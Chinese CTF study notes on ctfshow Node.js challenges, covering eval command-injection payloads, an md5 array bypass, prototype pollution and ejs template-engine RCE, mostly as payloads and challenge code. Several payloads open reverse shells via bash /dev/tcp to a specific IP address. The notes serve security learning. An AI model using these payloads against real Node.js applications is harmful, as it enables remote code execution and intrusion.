文档先阅读一遍
Node.js 教程 | 菜鸟教程 (runoob.com)
常见漏洞
Node.js 常见漏洞学习与总结 - 先知社区 (aliyun.com)
nodejs一些入门特性&&实战 - 先知社区 (aliyun.com)
原型链污染
深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)
模板引擎rce
XNUCA2019 Hardjs题解 从原型链污染到RCE - 先知社区 (aliyun.com)
再探 JavaScript 原型链污染到 RCE - 先知社区 (aliyun.com)
几个node模板引擎的原型链污染分析 | L0nm4r (lonmar.cn)
ctfshow nodejs篇 - TARI TARI
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。
在eval函数的参数中可以构造require('child_process').exec('');来进行调用。
查看文档:
child_process 子进程 | Node.js API 文档 (nodejs.cn)
发现exec返回的是
通过查找所有可替换用法 execSync
spawnSync
spawnSync():
Payload:
法一:系统命令
?eval=require('child_process').execSync('ls').toString();
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).output;
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout;
?eval=global.process.mainModule.constructor._load('child_process').exec('ls');
法二:
文件操作
?eval=require('fs').readdirSync('.');
?eval=require('fs').readFileSync('fl001g.txt');
Node.js 文件系统模块 (nodejs.cn)
法三 拼接
'+' 要urlencode一下
?eval=var a="require('child_process').ex";var b="ecSync('ls').toString();";eval(a%2Bb);
?eval=require('child_process')['ex'%2B'ecSync']('cat f*')
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
数组绕过?a[]=1&b[]=1
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
前面有一个copy函数,可以与链接文章里面的merge函数类比
污染 user 让secert.ctfshow为36dboy
Payload:
{"username":"1","password":"1","__proto__":{"ctfshow":"36dboy"}}
这里让输入flag所以没法直接利用了
ejs rce
Payload:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
先污染一下 outputFunctionName
污染点在user 触发点在query
/login下污染query
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/150.158.181.145/2334 0>&1\"')"}}
触发点还是query
但是污染点不一样了
payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/150.158.181.145/2334 0>&1\"')"}}}
没了api 那就用ejs的rce
具体过程分析参考前言模板rce
payload:
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/150.158.181.145/2333 0>&1\"')"}}}
content-type要改为application/json
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
即 url 中不能包含大小写 8c、2c 和 逗号
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
引号url编码为%22与c形成%22c匹配正则,所以编码c